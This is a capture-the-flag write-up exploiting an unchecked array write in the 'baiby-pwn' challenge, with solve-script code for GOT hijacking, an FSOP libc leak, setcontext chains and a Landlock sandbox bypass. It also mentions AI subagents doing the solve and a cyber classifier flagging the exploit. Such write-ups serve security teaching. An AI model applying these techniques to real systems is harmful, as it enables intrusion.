TL;DR
arr[i] = v with no bounds check on a non-PIE Partial-RELRO binary is an arbitrary aligned write over the whole writable page, including the GOT. Repointing memset@got at main's third setbuf call site and setbuf@got at the read setup inside getval converts the "2" command into read(0, *0x404060, 0x40), a 64-byte arbitrary write, which forges an FSOP header in the real _IO_2_1_stderr_ to leak libc on fd 2, then points setbuf@got at setcontext with the slot aimed at a fake ucontext for full register control, and finally chains open/getdents64/read/write(2,…) to read the randomly-named flag file without ever calling execve (which Landlock restricts).
01Recon
Challenge ships full source, the binary, and the Docker/jail setup.
baiby-pwn.c, the entire program:
long arr[8];
long getval() { char buf[8] = {}; read(0, buf, sizeof(buf)-1); return atol(buf); }
int main() {
long i, v;
setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);
while (1) switch (getval()) {
case 1: i = getval(); v = getval(); arr[i] = v; break;
case 2: memset((void*)arr, 0, sizeof(arr)); break;
default: return 0;
}
}No output primitive of any kind. Every token is one read(2) of ≤7 bytes, so i and v are atol() results in [-999999, 9999999].
Binary (checksec): amd64, No PIE (0x400000), NX, Partial RELRO, canary present (but only getval has one), IBT/SHSTK bits set in the ELF. arr at 0x404080; the writable segment is [0x404000, 0x405000), so i is constrained to [-16, 495], and crucially every address in both the text (0x400000–0x4012cf) and the writable page fits in 7 decimal digits, so any of them is expressible as a token.
GOT map (all writable, expressed as arr indices):
ADDR SLOT IDX
0x404000 __stack_chk_fail -16
0x404008 setbuf -15
0x404010 memset -14
0x404018 read -13
0x404020 atol -12
0x404040 stdout (R_X86_64_COPY) -8
0x404050 stdin (R_X86_64_COPY) -6
0x404060 stderr (R_X86_64_COPY) -4The three R_X86_64_COPY slots hold live &_IO_2_1_std*_ libc pointers in a page we can write. GOT[1] / GOT[2] at 0x403ff0 / 0x403ff8 are in the read-only [0x403000,0x404000) range.
Key disassembly. getval is a reusable read(0, PTR, LEN) gadget factory:
4011d9 lea rax,[rbp-0x10] <- entry B (forces rdx=7 at 4011dd)
4011dd mov edx,0x7
4011e2 mov rsi,rax <- entry A (rdx inherited)
4011e5 mov edi,0x0
4011ea call read@plt
4011ef lea rax,[rbp-0x10] ; mov rdi,rax ; call atol@plt
4011fb mov rdx,[rbp-0x8] ; sub rdx,fs:0x28 ; je 40120f ; call __stack_chk_fail@plt
40120f leave ; retmain's prologue gives three mov rax,[slot]; mov esi,0; mov rdi,rax; call setbuf@plt sites at 0x40121d (stdin), 0x401231 (stdout), 0x401245 (stderr); the case-2 arm at 0x4012aa sets edx=0x40, esi=0, rdi=0x404080 before call memset@plt.
Only one useful ROP gadget exists in the binary: 0x401016: add rsp,8; ret (tail of _init). No pop rdi/ rsi/rdx.
Jail. launcher.c installs a Landlock ruleset handling LANDLOCK_ACCESS_FS_EXECUTE with PATH_BENEATH rules for exactly /app/baiby-pwn and /lib64/ld-linux-x86-64.so.2, sets PR_SET_NO_NEW_PRIVS, then execve s the challenge. The Dockerfile is pwn.red/jail with JAIL_SYSCALLS=landlock_create_ruleset,landlock_add_rule,landlock_restrict_self and creates the flag at /flag-$(md5sum of the flag).txt, the filename is the md5 of the flag content, so it is unknown remotely and must be discovered.
Environment reconstruction during the solve: a faithful local jail on 127.0.0.1:5001 (known flag BHFlagY{DEFAULT} at /flag-a35f2ec0c25099bf394a5ad1eaff2446.txt), a plain-TCP no-jail control on:5002, and a launcher+Landlock-without-nsjail control on:5004. Target libc pinned as Ubuntu GLIBC 2.39-0ubuntu8.7 with offsets setcontext 0x4a960, execve 0xeef30, open 0x11b150, read 0x11ba80, write 0x11c590, getdents64 0xed920, exit 0x47ba0, environ 0x20ad58, _IO_2_1_stdin_ 0x2038e0, _IO_2_1_stderr_ 0x2044e0, _IO_2_1_stdout_ 0x2045c0, pop rdi 0x10f78b, pop rsi 0x110a7d, ret 0x2882f (no clean pop rdx; ret).
A syscall-policy prober run as the jail payload showed seccomp is effectively wide open, read, write, openat, mmap, mprotect, execve, execveat, getdents64, socket, clone, memfd_create all permitted. The only real restriction is Landlock's execute whitelist.
02The bug
Root cause: case 1: arr[i] = v; in main performs a completely unchecked 8-byte store at 0x404080 + 8*i with attacker-controlled i and v. arr sits in.bss immediately above a writable GOT (Partial RELRO), so negative indices reach every PLT slot and every R_X86_64_COPY FILE* slot.
The write is weak on its own, i and v are atol() of at most 7 characters, so v ∈ [-999999, 9999999] and the store is 8-byte aligned, but the binary is non-PIE, so every code address (0x400000 – 0x4012cf) and every writable-page address (0x404000 – 0x404fff) is representable as a ≤7-digit token. That is enough to redirect any library call in the program to any instruction in the program.
The amplifier: getval's body is a read(0, ptr, len) gadget whose rsi / rdx are inherited from whatever call site jumps into it. The chain that turns the weak write into a general one is:
__stack_chk_fail@got = 0x401016 ; "add rsp,8 ; ret"
memset@got = 0x401245 ; main's THIRD setbuf call site
setbuf@got = 0x4011e2 ; "mov rsi,rax ; mov edi,0 ; call read@plt"Sending "2" now executes: mov edx,0x40 (from the case-2 arm) → call memset@plt → 0x401245: mov rax, [0x404060]; mov rdi,rax; call setbuf@plt → 0x4011e2 → ** read(0, *0x404060, 0x40) **. Because *0x404060 is the stderr COPY slot, itself writable by arr[-4] = v, the destination is any address in [0x404000,0x405000), and the write is unaligned and byte-arbitrary, defeating the atol value restriction entirely.
Why it returns cleanly: after the read, 0x4011ef runs atol and then mov rdx,[rbp-0x8], but rbp is still main's, so [rbp-0x8] is main's local v, never a canary. The comparison always mismatches and call __stack_chk_fail@plt fires into 0x401016. Stack accounting: the memset call pushed 0x4012c3, the setbuf call pushed 0x401259, the __stack_chk_fail call pushed 0x40120f; add rsp,8 discards 0x40120f and ret takes 0x401259, the loop head. Exactly one read fires per "2", no stray setbuf, no fake FILE ever handed to the real setbuf. The only cost is 8 bytes of leaked stack per re-entry (the memset return address is never popped), which is bounded and harmless.
Secondary bug used for the leak: the R_X86_64_COPY slots point at the genuine libc FILE structs. Using the primitive before re-aiming the slot writes 64 bytes directly into the real _IO_2_1_stderr_, no leak, no ASLR guess needed to corrupt it.
FULL MITIGATIONS. PARTIAL RELRO. NX. CANARY.
ONE UNCHECKED ARRAY INDEX
03Exploitation
All steps drive a raw socket; each token is its own sendall with a ~0.13 s (remote: 0.2–0.3 s) delay, because a short send must be a short read(2) for the partial-read boundaries to hold.
- Arm the read primitive. Three arr[i]=v writes: arr[-16] =
0x401016(__stack_chk_fail → add rsp,8; ret), arr[-14] =0x401245(memset → main's 3rd setbuf call site), arr[-15] =0x4011e2(setbuf → the read setup in getval). Each subsequent "2" is now exactly one read(0, *0x404060,0x40), and the loop survives. - FSOP leak of libc, on fd 2. The stderr slot is still pristine, so the first use of the primitive forges the header of the real _IO_2_1_stderr_ in one 64-byte write: _flags =
0xfbad1801(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING | _IO_USER_BUF), read_ptr/end/base = 0, _IO_write_base =0x404040, _IO_write_ptr = _IO_write_end =0x404068, _IO_buf_base =0x404a00. Then arr[-15] =0x401040(setbuf@got → its lazy PLT stub, which re-resolves and calls the genuine setbuf) and one more "2": _IO_setbuffer → _IO_SETBUF → _IO_default_setbuf → _IO_SYNC → _IO_new_file_sync → _IO_do_flush → _IO_do_write → new_do_write (_IO_IS_APPENDING skips the lseek) → _IO_new_file_write → write(_fileno = 2,0x404040,0x28). That dumps the three COPY slots. libc_base = leaked_stdout -0x2045c0, cross-checked against stdin -0x2038e0and stderr -0x2044e0and asserted page-aligned. Observed remote bases:0x7f466c708000,0x7fc4d6295000,0x7fc968e8f000, different every run, so this is a live ASLR'd leak. Then restore memset@got =0x401245and setbuf@got =0x4011e2(the lazy stub left the real setbuf in the GOT). - Register control via setcontext. main calls setbuf with RDI = *slot, and the slot is ours. So:
- write(
0x404008, p64(libc +0x4a960)), an 8-byte, unaligned-capable write putting &setcontext in setbuf@got. - arr[-4] =
0x404700, aim the stderr slot at a fake ucontext_t built in.bss.
- "2" → mov rax,[
0x404060]; mov rdi,rax; call setbuf@plt → setcontext(&ctx). Verified ucontext offsets for this glibc: rdi @ +0x68, rsi @ +0x70, rdx @ +0x88, rcx @ +0x98, rsp @ +0xa0, rip @ +0xa8, fpregs pointer @ +0xe0. The fpregs pointer is set to ctx+0x100, where a 28-byte fldenv image (cw =0x037f, tag word0x0000ffff) is planted so fldenv/ldmxcsr don't fault. No stack address, no environ, no frame-depth constant is involved, this is what made the finish latency-proof. - Finish A, execve via the loader (works locally, silent on remote). Plant "
/lib64/ld-linux-x86-64.so.2", "/bin/sh", "-c", and the command at fixed.bss addresses plus an argv array, then aim the ucontext at execve(rdi=ld.so, rsi=argv, rdx=0). Landlock permits executing the loader; the loader maps /bin/sh itself and the EXECUTE right is checked on execve/FMODE_EXEC opens, not on PROT_EXEC mmap. The command must use only shell builtins (/bin/cat is not exec-allowed) and write to fd 1/2: for f in/flag*;do read x<$f;echo $x;echo $x >&2;done - Finish B, pure syscalls, no execve (this is what landed both remote flags). Chained setcontexts: each context runs one libc call on its own private mini-stack whose return address is pop rdi; <next ctx>; setcontext, so the missing pop rdx; ret is never needed; the last one returns into pop rdi; 0; exit.
- Connection 1: open("/", O_RDONLY|O_DIRECTORY) → getdents64(3,
0x404800,0x400) → write(2,0x404800,0x400). Regex the dirent blob for names starting with flag. - Connection 2 (fresh leak, fresh libc base): open("
/flag-<md5>.txt", O_RDONLY) → read(3,0x404800,0x400) → write(2,0x404800,0x400). - Results.
- tcp.flagyard.com:21854 → discovered
/flag-7227def40b63ecc5d1d2cd1efcec737a.txt→ BHFlagY{...} - tcp.flagyard.com:17370 → discovered
/flag-2bb6ff705f477a8ea6dbc6ea0cb98610.txt→ BHFlagY{...} - (a third instance:23642, gave
/flag-8bc4810132aabdac20de884f49354b49.txt→ BHFlagY{...}, flags are per-deployment, not baked once into the image)
Self-consistency check: the Dockerfile names the flag file by md5sum of its own contents. md5("BHFlagY{...}\n") == 7227def40b63ecc5d1d2cd1efcec737a and md5("BHFlagY{...}\n") == 2bb6ff705f477a8ea6dbc6ea0cb98610. The filenames were recovered independently by getdents64 and the contents by read, so both halves can only agree if the reads are genuine, and the solve script contains no hardcoded flag or filename.
Final exploit: /home/kali/Desktop/CTF/pwn/baiby/solve_baiby.py (shell_route → 3 attempts, then noexec_route). Earlier/partial artifacts: /home/kali/Desktop/CTF/pwn/baiby/SOLVE_ROUTE_A.py, HANDOFF.md, NOTES-main-agent.md, EXPLOIT_PLAN.md, SOLUTION.py, REMOTE_TEST.py.
Key code ARR, GOT_CHK, GOT_SETBUF, GOT_MEMSET = 0x404080, 0x404000, 0x404008, 0x404010 SLOT_STDOUT, SLOT_STDIN, SLOT_STDERR = 0x404040, 0x404050, 0x404060 G_READ, G_SETBUF3, G_ADDRSP8, PLT_SETBUF = 0x4011e2, 0x401245, 0x401016, 0x401040
def tok(n): # one token == one read(2) of <=7 bytes
s = str(int(n)).encode(); assert len(s) <= 7
return s + b" " * (7 - len(s))
def arm(self, entry=G_SETBUF3):
self.wa(GOT_CHK, G_ADDRSP8) # __stack_chk_fail -> "add rsp,8 ; ret"
self.wa(GOT_MEMSET, entry) # memset -> main's 3rd setbuf call site
self.wa(GOT_SETBUF, G_READ) # setbuf -> "mov rsi,rax; mov edi,0; call read@plt"
def raw_write(self, data): # exactly ONE read(0, *0x404060, 0x40) per "2"
assert len(data) <= 0x40
self.S(tok(2)); self.S(data)
def write(self, target, data): # aim the stderr slot, then write there
self.wa(SLOT_STDERR, target); self.raw_write(data)
def _fake_file(base=0x404040, end=0x404068, buf=0x404a00):
f = struct.pack("<I", 0xfbad1801) + b"\x00" * 4 # 0x00 _flags (_IO_USER_BUF is mandatory)
f += p64(0) + p64(0) + p64(0) # 0x08 read_ptr/end/base
f += p64(base) + p64(end) + p64(end) # 0x20 write_base/ptr/end
f += p64(buf) # 0x38 _IO_buf_base
return f # len == 0x40
def leak_libc(conn):
b = Baiby(conn); b.arm(G_SETBUF3)
b.raw_write(_fake_file()) # slot still holds the genuine &_IO_2_1_stderr_
b.wa(GOT_SETBUF, PLT_SETBUF) # lazy PLT stub -> the real setbuf runs
b.S(tok(2), 0.6) # -> write(2, 0x404040, 0x28)
so, _, si, _, se = struct.unpack("<5Q", b.drain(1.5)[:0x28])
return so - 0x2045c0 # libc base04Dead ends
- ret2dlresolve was chased for hours and never landed. The trigger was clean on paper: at the case-2 call memset site rsp holds [i, v, saved_rbp, retaddr], so memset@got =
0x401016(add rsp,8; ret) yields RIP = i, rsp = &v, set i =0x401020(PLT0) and v = reloc_index and _dl_runtime_resolve runs with a fully controlled fake Elf64_Rela (JMPREL =0x400640, ent 24, so idx = (R -0x400640)/24; R =0x404000→ idx 616) and fake Elf64_Sym (SYMTAB =0x4003e0, symidx 642–811 lands VERSYM reads in a zero gap). It deadlocked on ordering: setting i =0x401020through case 1 also performs arr[0x401020] = v → unmapped → SIGSEGV, and the workaround (memset@got =0x4011d9→ read(0, &i, 7)) conflicts with memset@got having to be0x401016for the trigger itself. Abandoned in favour of FSOP + setcontext. - Leak worked over plain TCP but the jailed child died with SIGKILL, first misdiagnosed as a seccomp KILL_PROCESS. Building a syscall-policy prober that forks per syscall inside the jail proved seccomp is wide open. The two real causes were (a) the leak scripts never set __stack_chk_fail@got =
0x401016, so the real __stack_chk_fail aborted, and (b) the flush landed on fd 0. - nsjail does not deliver
write()to fd 0 to the client, only fd 1 and fd 2. Every FSOP leak that flushed _IO_2_1_stdin_ (_fileno == 0) went into the void while looking identical to a failed exploit. Isolated by comparing the same binary+libc behind plain TCP (:5002), launcher+Landlock without nsjail (:5004), and the real jail (:5001). - atol clobbers rdx. Only the first prologue setbuf after a case-2 re-entry has a predictable length (
0x40); later ones inherit garbage, and a huge leftover just makes read fail with EFAULT, not guaranteed. This invalidated an inherited note and forced the single-read0x401245entry. - Re-entering main at
0x401211fires only ONE prologue setbuf, and the inherited explanation for why was wrong. gdb showed the real reason: rbp_inner-0x8 lands exactly on the slot where getval just stored its canary, so the check passes, leave; ret runs, and the re-entered main returns after write #1. Entering at main+5 (0x401216, skipping push rbp) shifts the frame by 8, the check mismatches, the add rsp,8; ret path balances, and all three prologue writes fire. The final design sidesteps the question entirely by entering at0x401245. - CHECK_FILE is compiled out of a release glibc (-DNDEBUG). Pointing a slot at zeroed.bss and calling the genuine setbuf does not return harmlessly, it dereferences fp->_lock == NULL and faults at address 0x8 (crash dump showed rdi 0x0). One entire route (main+5) died on exactly this despite writing a correct FSOP header. Rule: never re-aim a slot the real setbuf will still be called on.
- FSOP _flags must include _IO_USER_BUF,
0xfbad1801, not0xfbad1800. Without bit 0, _IO_setbfree()s the non-heap _IO_buf_base and glibc aborts immediately after the leak. - Route A (leak environ → scan the stack for main's frame → plant a ROP chain at a computed depth) worked locally but was silent on remote. It leaked libc correctly (
0x7f72774b0000), read environ, and found main's frame marker exactly where predicted, but its frame-depth constant (kfin
= 12, derived from how many case-2 re-entries had occurred) drifted over a high-latency link, planting the chain one qword off with no crash. Replaced by setcontext, which has no depth constant at all. • The execve(ld.so → /bin/sh) route is effectively dead on the real remote. Diagnosed by making the payload print unconditionally: locally echo HI >&2 printed HI and ls returned /bin/sh: 1: ls: Permission denied (Landlock blocking every other binary, which is also why the flag command must be builtins-only); on remote the identical command produced nothing across every attempt, while the FSOP leak on the same connection came back fine over fd 2. The no-exec syscall route was the one that landed. • Token framing: batching tokens into one sendall breaks the exploit, each token must be its own short send so it becomes its own short read(2); the driver uses a tunable DELAY (0.13 local, 0.2–0.3 remote). • Process/tooling detours: a stretch of the session ran on a weaker model whose conclusions ("FSOP returns nothing", "no output possible") were later thrown out and re-derived from disassembly and gdb; several parallel subagents were killed mid-work by auth blips, a session limit, and a real-time cyber classifier false-positive on the exploit content.